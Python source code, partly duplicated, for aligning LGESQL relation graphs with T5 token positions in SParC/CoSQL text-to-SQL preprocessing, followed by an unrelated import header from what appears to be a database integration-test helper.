print(lge_aux_question_idx) # print(used_coref_dataset) # print() return used_coref_dataset def generate_coref_relations(relation, coref_dataset, cur_dataset_lgesql, j, RELATION2ID_DICT): for group in coref_dataset.keys(): coref_relation_t5id_list = [] for coref_li in coref_dataset[group]: co_relation_t5id_list = [] for coref_item in coref_li: if (f"question_lgeid2t5id_{j}#{coref_item["turn"]}" not in cur_dataset_lgesql.keys()) or len(cur_dataset_lgesql[f"question_lgeid2t5id_{j}#{coref_item["turn"]}"].keys())==0: continue question_lgeid2t5id = cur_dataset_lgesql[f"question_lgeid2t5id_{j}#{coref_item["turn"]}"] if coref_item["position"] not in question_lgeid2t5id.keys(): continue t5_id = question_lgeid2t5id[coref_item["position"]] co_relation_t5id_list.append(t5_id) coref_relation_t5id_list.append([_ for item in co_relation_t5id_list for _ in item]) # print(co_relation_t5id_list) if len(co_relation_t5id_list) > 1: for pair_i, pair_j in itertools.combinations(co_relation_t5id_list, 2): relation[pair_i][pair_j] = RELATION2ID_DICT["co_relations"] relation[pair_j][pair_i] = RELATION2ID_DICT["co_relations"] for ii in range(len(coref_relation_t5id_list)): for jj in range(ii+1, len(coref_relation_t5id_list)): for pair_i, pair_j in itertools.product(coref_relation_t5id_list[ii], coref_relation_t5id_list[jj]): relation[pair_i][pair_j] = RELATION2ID_DICT["coref_relations"] def generate_relations(dataset_lgesql, t5_processed, table_lgesql, RELATION2ID_DICT, edgeType, t5_tokenizer, dataset_name, coref_dataset, use_dependency, mode): err_edge = 0 total_edge = 0 t5_dataset_idx = 0 res_relations = [] for lge_dataset_idx in tqdm(range(len(dataset_lgesql))): lge_aux_question_idx_list = dataset_lgesql[lge_dataset_idx]["idx_list"] for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): t5_toks_ids = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][2] t5_dataset_idx = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][0] db_name = dataset_lgesql[lge_dataset_idx][f"db_name_{j}"] relation = np.zeros((len(t5_toks_ids), len(t5_toks_ids)), dtype=int) generate_relations_between_questions(relation, lge_aux_question_idx, dataset_lgesql[lge_dataset_idx], RELATION2ID_DICT, j) table_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"table_lgeid2t5id_{j}"] column_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"column_lgeid2t5id_{j}"] dbcontent_lgeid2dbt5id = dataset_lgesql[lge_dataset_idx][f"dbcontent_lgeid2dbt5id_{j}"] lge_t_num = len(table_lgesql[db_name]['table_names']) lge_c_num = len(table_lgesql[db_name]['column_names']) dbcontent_lgeid2dbt5id_raise = raise_key(dbcontent_lgeid2dbt5id, lge_t_num) schema_lgeid2t5id = merge_two_dict(table_lgeid2t5id, column_lgeid2t5id, lge_t_num) if coref_dataset is not None: used_coref_dataset = remove_notused_coref(lge_aux_question_idx, coref_dataset[lge_dataset_idx]) if len(used_coref_dataset.keys()) > 0: generate_coref_relations(relation, used_coref_dataset, dataset_lgesql[lge_dataset_idx], j, RELATION2ID_DICT) for k, question_idx in enumerate(lge_aux_question_idx): if (f"question_lgeid2t5id_{j}#{question_idx}" not in dataset_lgesql[lge_dataset_idx].keys()): if len(t5_toks_ids) < 512: err_edge += 1 tokid2sent(t5_tokenizer, t5_toks_ids) continue question_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"question_lgeid2t5id_{j}#{question_idx}"] if use_dependency: qq_relations = dataset_lgesql[lge_dataset_idx][f"tree_relations_{question_idx}"] else: qq_relations = dataset_lgesql[lge_dataset_idx][f"relations_{question_idx}"] ss_relations = table_lgesql[dataset_lgesql[lge_dataset_idx]["database_id"]]["relations"] if dataset_name in ["cosql", "sparc"] else table_lgesql[dataset_lgesql[lge_dataset_idx]["db_id"]]["relations"] qs_relations = dataset_lgesql[lge_dataset_idx][f"schema_linking_{question_idx}"][0] sq_relations = dataset_lgesql[lge_dataset_idx][f"schema_linking_{question_idx}"][1] relation_list = [qq_relations, ss_relations, qs_relations, sq_relations] relative_id_list = [(question_lgeid2t5id, question_lgeid2t5id, (0, 0)), (schema_lgeid2t5id, schema_lgeid2t5id, (1, 1)), (question_lgeid2t5id, schema_lgeid2t5id, (0, 1)), (schema_lgeid2t5id, question_lgeid2t5id, (1, 0))] for relation_list_idx, relations in enumerate(relation_list): edges = [(i, j, relations[i][j]) for i in range(len(relations)) for j in range(len(relations[0]))] for edge in edges: total_edge += 1 try: if edge[2] in ["question-question-generic"]: continue t5_src_id = relative_id_list[relation_list_idx][0][edge[0]] if (relative_id_list[relation_list_idx][2][0] == 1 and edge[0] in dbcontent_lgeid2dbt5id_raise.keys()): db_t5_src_id = [i for item in dbcontent_lgeid2dbt5id_raise[edge[0]] for i in item] t5_dst_id = relative_id_list[relation_list_idx][1][edge[1]] if (relative_id_list[relation_list_idx][2][1] == 1 and edge[1] in dbcontent_lgeid2dbt5id_raise.keys()): db_t5_dst_id = [i for item in dbcontent_lgeid2dbt5id_raise[edge[1]] for i in item] r_id = RELATION2ID_DICT[edge[2]] except Exception as e: if len(t5_toks_ids) < 512: # print(t5_dataset_idx) # print(e) # tokid2sent(t5_tokenizer, t5_toks_ids) # print(relation_list_idx) # print(edge[0]) # print(relative_id_list[relation_list_idx][0].keys()) # print(edge[1]) # print(relative_id_list[relation_list_idx][1].keys()) # print(table_lgeid2t5id.keys(), column_lgeid2t5id.keys()) # decode_from_dict(t5_tokenizer, table_lgeid2t5id, t5_toks_ids) # decode_from_dict(t5_tokenizer, column_lgeid2t5id, t5_toks_ids) # decode_from_pair_dict(t5_tokenizer, dbcontent_lgeid2dbt5id, t5_toks_ids) # print() err_edge+=1 break db_t5_src_id = [] db_t5_dst_id = [] t5_src_id_list = [t5_src_id] if len(db_t5_src_id) == 0 else [t5_src_id, db_t5_src_id] t5_dst_id_list = [t5_dst_id] if len(db_t5_dst_id) == 0 else [t5_dst_id, db_t5_dst_id] for ii in range(len(t5_src_id_list)): #debug for jj in range(len(t5_dst_id_list)): for pair_i, pair_j in itertools.product(t5_src_id_list[ii], t5_dst_id_list[jj]): relation[pair_i][pair_j] = r_id for node_idx in range(1, lge_c_num): if node_idx in column_lgeid2t5id.keys() and node_idx in dbcontent_lgeid2dbt5id.keys(): col_t5id_list = column_lgeid2t5id[node_idx] dbcontent_t5id_list = dbcontent_lgeid2dbt5id[node_idx] for dbcontent_t5id in dbcontent_t5id_list: for pair_i, pair_j in itertools.product(col_t5id_list, dbcontent_t5id): relation[pair_i][pair_j] = RELATION2ID_DICT['has-dbcontent'] relation[pair_j][pair_i] = RELATION2ID_DICT['has-dbcontent-r'] res_relations.append(relation) print(f"Edge match errors: {err_edge}/{total_edge}") return t5_dataset_idx, res_relations def init_tokenizer(): t5_tokenizer = AutoTokenizer.from_pretrained('t5-small') lge_tokenizer = AutoTokenizer.from_pretrained('t5-small') t5_tokenizer.add_tokens([AddedToken(" <="), AddedToken(" <")]) lge_tokenizer.add_tokens([AddedToken("<="), AddedToken("<")]) return t5_tokenizer, lge_tokenizer def init_dataset(data_base_dir, dataset_name, mode): table_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "tables.bin") if mode == "train": dataset_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "train.bin") elif mode == "dev": dataset_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "dev.bin") else: raise NotImplementedError with open(table_lgesql, "rb") as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) table_lgesql = pickle.load(load_f) with open(dataset_lgesql, "rb") as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) dataset_lgesql = pickle.load(load_f) return dataset_lgesql, table_lgesql def preprocessing_lgerels2t5rels_changeOrder(data_base_dir, dataset_name, t5_processed, mode, edgeType="Default", use_coref = False, use_dependency = False): t5_tokenizer, lge_tokenizer = init_tokenizer() dataset_lgesql, table_lgesql = init_dataset(data_base_dir, dataset_name, mode) RELATION2ID_DICT, ID2RELATION_DICT, edge_num = get_relation2id_dict(edgeType, use_coref, use_dependency) print(f"Dataset: {dataset_name}") print(f"Mode: {mode}") print("Match Questions...") match_question(t5_processed, dataset_lgesql, t5_tokenizer, lge_tokenizer, dataset_name, mode) print("Match Table, Columns, DB Contents...") match_table_and_column(dataset_lgesql, table_lgesql, t5_tokenizer) print("Generate Relations...") if use_coref: with open(f"./dataset_files/preprocessed_dataset/{dataset_name}/{mode}_coref.json", 'r') as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) coref_dataset = json.load(load_f) else: coref_dataset = None last_t5_dataset_idx, relations = generate_relations(dataset_lgesql, t5_processed, table_lgesql, RELATION2ID_DICT, edgeType, t5_tokenizer, dataset_name, coref_dataset, use_dependency, mode) # with open(f"{mode}.pickle", "wb") as load_f: # fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) # pickle.dump(relations, load_f) return last_t5_dataset_idx, relations # def main(): # t5_path = "/home/jytang/NLP/Text2sql/t5/picard/dataset_files/preprocessed_dataset/sparc/0512_change_order_dataset_db_sparc_split.pkl" # with open(f"{t5_path}.pickle", "wb") as load_f: # t5_preprocessed = pickle.load(load_f) # preprocessing_lgerels2t5rels_changeOrder("/home/jytang/NLP/Text2sql/t5/picard/dataset_files/", "sparc", t5_preprocessed, "dev")
import enum from json.tool import main import pickle from tkinter.tix import MAIN from tokenize import group import numpy as np import itertools import os import fcntl import json from tqdm import tqdm from transformers import AutoTokenizer from tokenizers import AddedToken from .transform_utils import mul_mul_match_changeOrder, get_idx_list_changeOrder, find_sep_mullen, find_all_sep_index_from_list, find_all_sep_pair_from_list, raise_key, merge_two_dict, decode_from_dict, decode_from_pair_dict, tokid2sent from .constants import MAX_RELATIVE_DIST from .get_relation2id_dict import get_relation2id_dict def match_question(t5_processed, dataset_lgesql, t5_tokenizer, lge_tokenizer, dataset_name, mode): err = 0 total_example = 0 t5_dataset_idx = 0 for lge_dataset_idx in tqdm(range(len(dataset_lgesql))): lge_aux_question_idx_list = get_idx_list_changeOrder(dataset_lgesql[lge_dataset_idx], dataset_name) for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): t5_toks_ids = t5_processed[t5_dataset_idx] t5_dataset_idx += 1 t5_toks = [] for id in t5_toks_ids: w = t5_tokenizer.decode(id).replace("</s>", "") t5_toks.append(w.replace(" ", "")) aux_text = t5_toks aux_sep_list = find_all_sep_index_from_list(aux_text, "|") aux_text_list = [] aux_start = 0 for aux_sep in aux_sep_list[:len(lge_aux_question_idx)]: aux_text_list.append((aux_text[aux_start:aux_sep], aux_start, aux_sep)) aux_start = aux_sep + 1 for k, question_idx in enumerate(lge_aux_question_idx): total_example += 1 question_lgeid2t5id = {} t5_bias = 0 lge_r_question_toks = dataset_lgesql[lge_dataset_idx][f'ori_toks_{question_idx}'] if k == 0: sep = t5_toks.index("|") t5_toks_k = t5_toks[:sep] t5_bias = 0 t5_sep = sep else: try: t5_toks_k = aux_text_list[k][0] t5_bias = aux_text_list[k][1] t5_sep = aux_text_list[k][2] except: if (len(t5_toks)<512): err += 1 continue t5_toks_k = ([subword.replace("▁", "") for subword in t5_toks_k]) lge_r_question_toks = [lge_tokenizer.decode(lge_tokenizer.encode(r_question_toks)[:-1]) for r_question_toks in lge_r_question_toks] start = t5_sep toks_idx = len(lge_r_question_toks) while toks_idx > 0 and start > 0: append_t5_idx, append_q_idx = mul_mul_match_changeOrder(t5_toks[t5_bias:start], lge_r_question_toks[:toks_idx]) match_t5_id_list = [i for i in range(t5_bias+append_t5_idx, start)] match_q_id_list = [i for i in range(append_q_idx,toks_idx)] # print(t5_toks[t5_bias+append_t5_idx: start], lge_r_question_toks[append_q_idx:toks_idx]) # print(match_t5_id_list, match_q_id_list) for q_idx in match_q_id_list: question_lgeid2t5id[q_idx] = match_t5_id_list if append_t5_idx == -1 and append_q_idx == -1: if len(t5_toks) < 512: err+=1 print(lge_aux_question_idx_list) print(t5_dataset_idx, t5_toks_k[start:]) print(lge_dataset_idx, lge_r_question_toks[toks_idx:]) print(t5_tokenizer.decode(t5_toks_ids)) print(lge_r_question_toks) print(t5_toks_k) print(dataset_lgesql[lge_dataset_idx]['processed_text_list']) print() break else: start = t5_bias+append_t5_idx toks_idx = append_q_idx # wfile.write(str(lge_dataset_idx)+"\n"+str(lge_aux_question_idx_list)+"\n") # wfile.write(" ".join(lge_r_question_toks)+"\n") # wfile.write(" ".join(t5_toks)+"\n\n") # print(question_lgeid2t5id) dataset_lgesql[lge_dataset_idx][f"question_lgeid2t5id_{j}#{question_idx}"] = question_lgeid2t5id dataset_lgesql[lge_dataset_idx]["idx_list"] = lge_aux_question_idx_list dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"] = (t5_dataset_idx-1,t5_toks,t5_toks_ids) print(f"Question match errors: {err}/{total_example}") def match_table_and_column(dataset_lgesql, table_lgesql, t5_tokenizer): err = 0 total_example = 0 for lge_dataset_idx,item in tqdm(enumerate(dataset_lgesql)): lge_aux_question_idx_list = dataset_lgesql[lge_dataset_idx]["idx_list"] for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): column_lgeid2t5id = {} table_lgeid2t5id = {} dbcontent_lgeid2dbt5id = {} t5_toks_ids = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][2] t5_toks = [] for id in t5_toks_ids: w = t5_tokenizer.decode(id).replace("</s>", "") t5_toks.append(w) t5_toks = ([subword for subword in t5_toks]) sep_idx_bias = len(lge_aux_question_idx)-1 sep_index_list = find_all_sep_index_from_list(t5_toks, "|") sep_index_list = sep_index_list[sep_idx_bias:] db_name = "".join([w for w in t5_toks[sep_index_list[0]+1:sep_index_list[1]]]) dataset_lgesql[lge_dataset_idx][f"db_name_{j}"] = db_name column_lgeid2t5id[0] = [i for i in range(sep_index_list[0]+1, sep_index_list[1])] lge_table = table_lgesql[db_name]['table_names'] lge_table = [i.replace(" ", "_") for i in lge_table] lge_column = table_lgesql[db_name]['column_names'] lge_column = [i[1].replace(" ", "_") for i in lge_column] lge_column_index = [i[0] for i in lge_column] lge_table_ori = [item.lower() for item in table_lgesql[db_name]['table_names_original']] lge_column_ori = [item[1].replace(" ", "").lower() for item in table_lgesql[db_name]['column_names_original']] lge_column_ori_index = [i[0] for i in table_lgesql[db_name]['column_names_original']] flag = True for idx in range(1,len(sep_index_list)-1): item = [w for w in t5_toks[sep_index_list[idx]+1:sep_index_list[idx+1]]] table_bias = sep_index_list[idx]+1 try: tb_col_sep_index = item.index(":") except: tb_col_sep_index = len(item) table = "".join([w for w in t5_toks[table_bias: table_bias+tb_col_sep_index]]) try: lge_tb_idx = lge_table.index(table) lge_table[lge_tb_idx] = "[None]" # lge_table_ori[lge_tb_idx] = "[None]" except: try: lge_tb_idx = lge_table_ori.index(table) # lge_table[lge_tb_idx] = "[None]" lge_table_ori[lge_tb_idx] = "[None]" except: if tb_col_sep_index != len(item): flag = False continue table_lgeid2t5id[lge_tb_idx] = [i for i in range(table_bias, table_bias+tb_col_sep_index)] db_content_bracket = find_all_sep_pair_from_list(item, "[", "]")[:-1] db_change_index_list = [] if len(db_content_bracket)>0: for pair in db_content_bracket: pair_i, pair_j = pair for index in range(pair_i, pair_j): if item[index] == ",": item[index] = "~" db_change_index_list.append(index) column_sep_index_list = find_all_sep_index_from_list(item, ",") for index in db_change_index_list: item[index] = "," column_sep_index_list.insert(0, tb_col_sep_index) column_bias = table_bias for col_idx in range(1, len(column_sep_index_list)): col_lidx = column_bias+column_sep_index_list[col_idx-1]+1 col_ridx = column_bias+column_sep_index_list[col_idx] col = t5_toks[col_lidx: col_ridx] db_content_lbracket = find_all_sep_index_from_list(col, "[")[:-1] db_content_rbracket = find_all_sep_index_from_list(col, "]") db_t5toks_list = [] if len(db_content_lbracket) > 0: db_content_lbracket = db_content_lbracket[0] db_content_rbracket = db_content_rbracket[0] if col[db_content_rbracket-1] != "": continue db_content = col[db_content_lbracket+1:db_content_rbracket] db_sep_index_list = find_all_sep_index_from_list(db_content, ";") start = 0 db_bias = db_content_lbracket+1+col_lidx for db_idx in db_sep_index_list: db_t5toks_list.append([i for i in range(start+db_bias, db_idx+db_bias)]) start = db_idx + 1 col = col[:db_content_lbracket] col_ridx = col_lidx + len(col) col = "".join(col) if len(col) == 0: continue try: lge_column_idx = lge_column_ori.index(col) column_lgeid2t5id[lge_column_idx] = [i for i in range(col_lidx,col_ridx)] dbcontent_lgeid2dbt5id[lge_column_idx] = db_t5toks_list lge_column[lge_column_idx] = "[None]" lge_column_ori[lge_column_idx] = "[None]" except: t5_columns = col.split(",") for t5_col in t5_columns: try: lge_column_idx = lge_column_ori.index(t5_col) column_lgeid2t5id[lge_column_idx] = [i for i in range(col_lidx,col_ridx)] dbcontent_lgeid2dbt5id[lge_column_idx] = db_t5toks_list lge_column[lge_column_idx] = "[None]" lge_column_ori[lge_column_idx] = "[None]" except: if col_ridx != len(t5_toks): flag = False continue if (not flag): print(repr(col)) print(column_sep_index_list) print(t5_toks[col_lidx: col_ridx]) print(" ".join(t5_toks)) print(lge_column) print(lge_column_ori) print(column_lgeid2t5id) err += 1 total_example += 1 dataset_lgesql[lge_dataset_idx][f"column_lgeid2t5id_{j}"] = column_lgeid2t5id dataset_lgesql[lge_dataset_idx][f"table_lgeid2t5id_{j}"] = table_lgeid2t5id dataset_lgesql[lge_dataset_idx][f"dbcontent_lgeid2dbt5id_{j}"] = dbcontent_lgeid2dbt5id print(f"DB match errors: {err}/{total_example}") def generate_relations_between_questions(relation, lge_aux_question_idx, dataset_lgesql_item, RELATION2ID_DICT, j): question_t5_id_dict = {} for k, question_idx in enumerate(lge_aux_question_idx): if f"question_lgeid2t5id_{j}#{question_idx}" not in dataset_lgesql_item.keys() or len(dataset_lgesql_item[f"question_lgeid2t5id_{j}#{question_idx}"])==0: continue question_lgeid2t5id = dataset_lgesql_item[f"question_lgeid2t5id_{j}#{question_idx}"] t5_id_list = sorted([t5_ids for t5_ids in question_lgeid2t5id.values()]) question_t5_id_dict[question_idx] = t5_id_list for id_list_i in question_t5_id_dict.values(): for id_list_j in question_t5_id_dict.values(): min_i, max_i = id_list_i[0][0], id_list_i[-1][-1] min_j, max_j = id_list_j[0][0], id_list_j[-1][-1] relation[min_i:max_i+1, min_j:max_j+1]=RELATION2ID_DICT["question-question-generic"] for question_idx in range(1, len(lge_aux_question_idx)): if (question_idx-1 not in question_t5_id_dict.keys() or question_idx not in question_t5_id_dict): continue last_t5_ids = question_t5_id_dict[question_idx-1][-MAX_RELATIVE_DIST:] pre_t5_ids = question_t5_id_dict[question_idx][:MAX_RELATIVE_DIST] for last_t5_idx in range(len(last_t5_ids)): for pre_t5_idx in range(len(pre_t5_ids)): distance = pre_t5_idx + len(last_t5_ids)-last_t5_idx if distance <= MAX_RELATIVE_DIST: for pair_i, pair_j in itertools.product(last_t5_ids[last_t5_idx], pre_t5_ids[pre_t5_idx]): relation[pair_i][pair_j] = RELATION2ID_DICT[f"question-question-dist{distance}"] relation[pair_j][pair_i] = RELATION2ID_DICT[f"question-question-dist{-distance}"] def remove_notused_coref(lge_aux_question_idx, coref_dataset): used_coref_dataset = {} # print(coref_dataset) for group_key in coref_dataset["coref"].keys(): new_group_list = [] for group_item_list in coref_dataset["coref"][group_key]["group"]: new_group_item_list = [] for item in group_item_list: if item["turn"] in lge_aux_question_idx: new_group_item_list.append(item) if len(new_group_item_list) >= 1: new_group_list.append(new_group_item_list) if len(new_group_list) >= 2: used_coref_dataset[group_key] = new_group_list # used_set = coref_dataset["coref"][group_key]["used_turn"] # for turn in used_set: # if turn not in lge_aux_question_idx: # flag = False # break # if flag: # used_coref_dataset[group_key] = coref_dataset["coref"][group_key] # print(coref_dataset) # print(lge_aux_question_idx) # print(used_coref_dataset) # print() return used_coref_dataset def generate_coref_relations(relation, coref_dataset, cur_dataset_lgesql, j, RELATION2ID_DICT): for group in coref_dataset.keys(): coref_relation_t5id_list = [] for coref_li in coref_dataset[group]: co_relation_t5id_list = [] for coref_item in coref_li: if (f"question_lgeid2t5id_{j}#{coref_item['turn']}" not in cur_dataset_lgesql.keys()) or len(cur_dataset_lgesql[f"question_lgeid2t5id_{j}#{coref_item['turn']}"].keys())==0: continue question_lgeid2t5id = cur_dataset_lgesql[f"question_lgeid2t5id_{j}#{coref_item['turn']}"] if coref_item["position"] not in question_lgeid2t5id.keys(): continue t5_id = question_lgeid2t5id[coref_item["position"]] co_relation_t5id_list.append(t5_id) coref_relation_t5id_list.append([_ for item in co_relation_t5id_list for _ in item]) # print(co_relation_t5id_list) if len(co_relation_t5id_list) > 1: for pair_i, pair_j in itertools.combinations(co_relation_t5id_list, 2): relation[pair_i][pair_j] = RELATION2ID_DICT["co_relations"] relation[pair_j][pair_i] = RELATION2ID_DICT["co_relations"] for ii in range(len(coref_relation_t5id_list)): for jj in range(ii+1, len(coref_relation_t5id_list)): for pair_i, pair_j in itertools.product(coref_relation_t5id_list[ii], coref_relation_t5id_list[jj]): relation[pair_i][pair_j] = RELATION2ID_DICT["coref_relations"] def generate_relations(dataset_lgesql, t5_processed, table_lgesql, RELATION2ID_DICT, edgeType, t5_tokenizer, dataset_name, coref_dataset, use_dependency, mode): err_edge = 0 total_edge = 0 t5_dataset_idx = 0 res_relations = [] for lge_dataset_idx in tqdm(range(len(dataset_lgesql))): lge_aux_question_idx_list = dataset_lgesql[lge_dataset_idx]["idx_list"] for j, lge_aux_question_idx in enumerate(lge_aux_question_idx_list): t5_toks_ids = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][2] t5_dataset_idx = dataset_lgesql[lge_dataset_idx][f"t5_toks_{j}"][0] db_name = dataset_lgesql[lge_dataset_idx][f"db_name_{j}"] relation = np.zeros((len(t5_toks_ids), len(t5_toks_ids)), dtype=int) generate_relations_between_questions(relation, lge_aux_question_idx, dataset_lgesql[lge_dataset_idx], RELATION2ID_DICT, j) table_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"table_lgeid2t5id_{j}"] column_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"column_lgeid2t5id_{j}"] dbcontent_lgeid2dbt5id = dataset_lgesql[lge_dataset_idx][f"dbcontent_lgeid2dbt5id_{j}"] lge_t_num = len(table_lgesql[db_name]['table_names']) lge_c_num = len(table_lgesql[db_name]['column_names']) dbcontent_lgeid2dbt5id_raise = raise_key(dbcontent_lgeid2dbt5id, lge_t_num) schema_lgeid2t5id = merge_two_dict(table_lgeid2t5id, column_lgeid2t5id, lge_t_num) if coref_dataset is not None: used_coref_dataset = remove_notused_coref(lge_aux_question_idx, coref_dataset[lge_dataset_idx]) if len(used_coref_dataset.keys()) > 0: generate_coref_relations(relation, used_coref_dataset, dataset_lgesql[lge_dataset_idx], j, RELATION2ID_DICT) for k, question_idx in enumerate(lge_aux_question_idx): if (f"question_lgeid2t5id_{j}#{question_idx}" not in dataset_lgesql[lge_dataset_idx].keys()): if len(t5_toks_ids) < 512: err_edge += 1 tokid2sent(t5_tokenizer, t5_toks_ids) continue question_lgeid2t5id = dataset_lgesql[lge_dataset_idx][f"question_lgeid2t5id_{j}#{question_idx}"] if use_dependency: qq_relations = dataset_lgesql[lge_dataset_idx][f"tree_relations_{question_idx}"] else: qq_relations = dataset_lgesql[lge_dataset_idx][f"relations_{question_idx}"] ss_relations = table_lgesql[dataset_lgesql[lge_dataset_idx]["database_id"]]["relations"] if dataset_name in ["cosql", "sparc"] else table_lgesql[dataset_lgesql[lge_dataset_idx]["db_id"]]["relations"] qs_relations = dataset_lgesql[lge_dataset_idx][f"schema_linking_{question_idx}"][0] sq_relations = dataset_lgesql[lge_dataset_idx][f"schema_linking_{question_idx}"][1] relation_list = [qq_relations, ss_relations, qs_relations, sq_relations] relative_id_list = [(question_lgeid2t5id, question_lgeid2t5id, (0, 0)), (schema_lgeid2t5id, schema_lgeid2t5id, (1, 1)), (question_lgeid2t5id, schema_lgeid2t5id, (0, 1)), (schema_lgeid2t5id, question_lgeid2t5id, (1, 0))] for relation_list_idx, relations in enumerate(relation_list): edges = [(i, j, relations[i][j]) for i in range(len(relations)) for j in range(len(relations[0]))] for edge in edges: total_edge += 1 try: if edge[2] in ["question-question-generic"]: continue t5_src_id = relative_id_list[relation_list_idx][0][edge[0]] if (relative_id_list[relation_list_idx][2][0] == 1 and edge[0] in dbcontent_lgeid2dbt5id_raise.keys()): db_t5_src_id = [i for item in dbcontent_lgeid2dbt5id_raise[edge[0]] for i in item] t5_dst_id = relative_id_list[relation_list_idx][1][edge[1]] if (relative_id_list[relation_list_idx][2][1] == 1 and edge[1] in dbcontent_lgeid2dbt5id_raise.keys()): db_t5_dst_id = [i for item in dbcontent_lgeid2dbt5id_raise[edge[1]] for i in item] r_id = RELATION2ID_DICT[edge[2]] except Exception as e: if len(t5_toks_ids) < 512: # print(t5_dataset_idx) # print(e) # tokid2sent(t5_tokenizer, t5_toks_ids) # print(relation_list_idx) # print(edge[0]) # print(relative_id_list[relation_list_idx][0].keys()) # print(edge[1]) # print(relative_id_list[relation_list_idx][1].keys()) # print(table_lgeid2t5id.keys(), column_lgeid2t5id.keys()) # decode_from_dict(t5_tokenizer, table_lgeid2t5id, t5_toks_ids) # decode_from_dict(t5_tokenizer, column_lgeid2t5id, t5_toks_ids) # decode_from_pair_dict(t5_tokenizer, dbcontent_lgeid2dbt5id, t5_toks_ids) # print() err_edge+=1 break db_t5_src_id = [] db_t5_dst_id = [] t5_src_id_list = [t5_src_id] if len(db_t5_src_id) == 0 else [t5_src_id, db_t5_src_id] t5_dst_id_list = [t5_dst_id] if len(db_t5_dst_id) == 0 else [t5_dst_id, db_t5_dst_id] for ii in range(len(t5_src_id_list)): #debug for jj in range(len(t5_dst_id_list)): for pair_i, pair_j in itertools.product(t5_src_id_list[ii], t5_dst_id_list[jj]): relation[pair_i][pair_j] = r_id for node_idx in range(1, lge_c_num): if node_idx in column_lgeid2t5id.keys() and node_idx in dbcontent_lgeid2dbt5id.keys(): col_t5id_list = column_lgeid2t5id[node_idx] dbcontent_t5id_list = dbcontent_lgeid2dbt5id[node_idx] for dbcontent_t5id in dbcontent_t5id_list: for pair_i, pair_j in itertools.product(col_t5id_list, dbcontent_t5id): relation[pair_i][pair_j] = RELATION2ID_DICT['has-dbcontent'] relation[pair_j][pair_i] = RELATION2ID_DICT['has-dbcontent-r'] res_relations.append(relation) print(f"Edge match errors: {err_edge}/{total_edge}") return t5_dataset_idx, res_relations def init_tokenizer(): t5_tokenizer = AutoTokenizer.from_pretrained('t5-small') lge_tokenizer = AutoTokenizer.from_pretrained('t5-small') t5_tokenizer.add_tokens([AddedToken(" <="), AddedToken(" <")]) lge_tokenizer.add_tokens([AddedToken("<="), AddedToken("<")]) return t5_tokenizer, lge_tokenizer def init_dataset(data_base_dir, dataset_name, mode): table_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "tables.bin") if mode == "train": dataset_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "train.bin") elif mode == "dev": dataset_lgesql=os.path.join(data_base_dir, "preprocessed_dataset", dataset_name, "dev.bin") else: raise NotImplementedError with open(table_lgesql, "rb") as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) table_lgesql = pickle.load(load_f) with open(dataset_lgesql, "rb") as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) dataset_lgesql = pickle.load(load_f) return dataset_lgesql, table_lgesql def preprocessing_lgerels2t5rels_changeOrder(data_base_dir, dataset_name, t5_processed, mode, edgeType="Default", use_coref = False, use_dependency = False): t5_tokenizer, lge_tokenizer = init_tokenizer() dataset_lgesql, table_lgesql = init_dataset(data_base_dir, dataset_name, mode) RELATION2ID_DICT, ID2RELATION_DICT, edge_num = get_relation2id_dict(edgeType, use_coref, use_dependency) print(f"Dataset: {dataset_name}") print(f"Mode: {mode}") print("Match Questions...") match_question(t5_processed, dataset_lgesql, t5_tokenizer, lge_tokenizer, dataset_name, mode) print("Match Table, Columns, DB Contents...") match_table_and_column(dataset_lgesql, table_lgesql, t5_tokenizer) print("Generate Relations...") if use_coref: with open(f"./dataset_files/preprocessed_dataset/{dataset_name}/{mode}_coref.json", 'r') as load_f: fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) coref_dataset = json.load(load_f) else: coref_dataset = None last_t5_dataset_idx, relations = generate_relations(dataset_lgesql, t5_processed, table_lgesql, RELATION2ID_DICT, edgeType, t5_tokenizer, dataset_name, coref_dataset, use_dependency, mode) # with open(f"{mode}.pickle", "wb") as load_f: # fcntl.flock(load_f.fileno(), fcntl.LOCK_EX) # pickle.dump(relations, load_f) return last_t5_dataset_idx, relations # def main(): # t5_path = "/home/jytang/NLP/Text2sql/t5/picard/dataset_files/preprocessed_dataset/sparc/0512_change_order_dataset_db_sparc_split.pkl" # with open(f"{t5_path}.pickle", "wb") as load_f: # t5_preprocessed = pickle.load(load_f) # preprocessing_lgerels2t5rels_changeOrder("/home/jytang/NLP/Text2sql/t5/picard/dataset_files/", "sparc", t5_preprocessed, "dev")
import base64 import errno import http.client import logging import os import stat import os.path as p import pprint import pwd import re import shutil import socket import subprocess import time import traceback import urllib.parse import shlex import urllib3 from cassandra.policies import RoundRobinPolicy import cassandra.cluster import psycopg2 import pymongo import pymysql import requests from confluent_kafka.avro.cached_schema_registry_client import \ CachedSchemaRegistryClient from dict2xml import dict2xml from kazoo.client import KazooClient from kazoo.exceptions import KazooException from minio import Minio from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT from helpers.test_tools import assert_eq_with_retry, exec_query_with_retry from helpers import pytest_xdist_logging_to_separate_files from helpers.client import QueryRuntimeException import docker from .client import Client from .hdfs_api import HDFSApi HELPERS_DIR = p.dirname(__file__) 